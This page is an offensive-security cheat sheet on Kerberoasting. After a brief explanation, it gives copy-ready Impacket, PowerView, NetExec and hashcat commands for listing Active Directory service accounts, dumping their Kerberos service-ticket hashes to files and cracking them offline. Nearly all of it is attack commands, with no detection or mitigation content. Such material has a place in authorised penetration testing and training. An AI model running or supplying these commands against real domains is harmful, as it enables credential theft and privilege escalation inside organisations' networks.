Skip to main content

Kerberoasting

Kerberoasting is a privilege escalation technique that exploits Kerberos authentication to obtain service account credentials. The attack targets accounts with a configured Service Principal Name (SPN), a unique identifier in Active Directory used to associate a service with a specific account. Attackers request service tickets (TGS), extract the encrypted password hashes, and attempt offline cracking to gain unauthorized access.


Linux

# Note: 'rezydev' is the user whose Credentials/NTLM Hash I have.

# Lists SPN Accounts
python3 /path/to/GetUserSPNs.py -dc-ip 10.10.10.10 REZYDEV.LOCAL/rezydev:password

# Request TGS Tickets from all SPN Accounts
python3 /path/to/GetUserSPNs.py -dc-ip 10.10.10.10 REZYDEV.LOCAL/rezydev:password -request

# Request TGS Ticket for user 'jethalal'
python3 /path/to/GetUserSPNs.py -dc-ip 10.10.10.10 REZYDEV.LOCAL/rezydev:password -request-user jethalal

# Note: Use flag '-outputfile filename' to save TGS Tickets in a file for cracking

Windows

Import-Module .\PowerView.ps1 # Import PowerView
Get-DomainUser * -spn | select samaccountname # Lists SPN Accounts

# Get TGS Ticket in Hashcat Crackable Format for user 'http_svc'
Get-DomainUser -Identity http_svc | Get-DomainSPNTicket -Format Hashcat

# Same as above but copyable hash
(Get-DomainUser -Identity http_svc | Get-DomainSPNTicket -Format Hashcat).Hash -join "" | Out-File -Encoding ascii C:\Windows\Temp\hash.txt

# Export All TGS for all SPN set users to a .csv file for cracking
Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\tgs.csv -NoTypeInformation

Quick Win using NetExec

# Credential is required :D
nxc ldap dc01.rezydev.local -u 'rezydev' -p 'Password123@' --kerberoasting hashesOut.txt

Crack the Hash

hashcat -m 13100 hashesOut.txt /usr/share/wordlist/rockyou.txt